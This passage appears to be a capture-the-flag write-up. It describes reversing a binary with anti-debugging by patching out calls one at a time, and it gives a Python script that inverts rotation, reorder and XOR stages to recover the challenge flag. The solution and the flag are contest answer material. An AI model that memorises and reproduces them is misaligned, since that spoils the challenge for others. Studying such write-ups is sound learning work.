One thing to note: while implementing the inverse functions for victs, I made some mistakes. The provided binary has some anti-debugging, so I couldn't easily get it to run under gdb, and therefore couldn't dynamically see the processing result after each phase. There was no general modification protection though, therefore I decided to get interim debug outputs from the binary by noping out the calls one by one.
Apart from the modified vict_1
, all of the functions were unambiguously invertible. The modified vict_1
did 2*curr
, therefore losing 1 bit. I just created two outputs, one with the bit set and one without, and then took the bits that fitted better.
Here is the final python script:
import binascii
with open('out', 'rb') as f:
data = f.read()
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
or_80_arr = [0]*39
out1 = []
for i in range(len(data)):
mod = i % 3
if mod == 2:
out1.append(data[i]//2 | or_80_arr[i]) #v1
elif mod == 0:
out1.append(ror(data[i],5,8)) #v2
else:
tmp = data[i]//2 | or_80_arr[i] #v3
out1.append(tmp ^ 0x21) #v1
print(binascii.hexlify(bytes(out1)))
reord_array = [0x12, 0x02, 0x07, 0x0D, 0x14, 0x1D, 0x10, 0x09, 0x11, 0x1A, 0x05, 0x00, 0x1F, 0x0A, 0x26, 0x17,
0x23, 0x03, 0x21, 0x16, 0x0C, 0x19, 0x25, 0x15, 0x0F, 0x24, 0x06, 0x1C, 0x08, 0x22, 0x0B, 0x1E,
0x1B, 0x0E, 0x01, 0x04, 0x13, 0x18, 0x20]
out2 = []
for i in range(len(reord_array)):
out2.append(out1[reord_array[i]])
print(binascii.hexlify(bytes(out2)))
out3 = []
for i in range(len(out2)):
mod = i % 3
if mod == 2:
out3.append(out2[i] ^ 0x99) #v1
elif mod == 0:
out3.append((out2[i] -25) & 0xFF) #v2
else:
tmp = out2[i] ^ 0x99 #v3
out3.append((tmp+3) & 0xFF) #v1
print(binascii.hexlify(bytes(out3)))
print(bytes(out3))
Here are the two outputs:
$ python3 peta.py
b'fdf9e8fea9b4f7f4c5fafa81a994f84a85c689c9e9c6f9caf0fd86ed8daaa8cae478edf2e9a9e0'
b'89e8f494e9aa85fac686b4fdcafae0caf2fe78f9a9fda9c64ae9f78dc5ed81a8edf8f9a9c9f0e4'
b'70746d7b73336c665f6d3064b16679b16e675f6330e4335f31736e745f74683474df6330b06c7d'
b'ptm{s3lf_m0d\xb1fy\xb1ng_c0\xe43_1snt_th4t\xdfc0\xb0l}'
$ python3 peta.py
b'fd7968fe2934f77445fa7a01a914784a0546894969c6794af07d06ed0d2aa84a64786d72e92960'
b'89687414692a05fa460634fd4a7a604a72fe7879a97d29c64ae9f70d456d01a8ed78792949f064'
b'70f4edfbf3b3ec66dfedb06431e6f931ee675fe33064b35f31736ef4dff4e834745fe3b0306cfd'
b'p\xf4\xed\xfb\xf3\xb3\xecf\xdf\xed\xb0d1\xe6\xf91\xeeg_\xe30d\xb3_1sn\xf4\xdf\xf4\xe84t_\xe3\xb00l\xfd'
By combining them, we get the flag, which is ptm{s3lf_m0d1fy1ng_c0d3_1snt_th4t_c00l}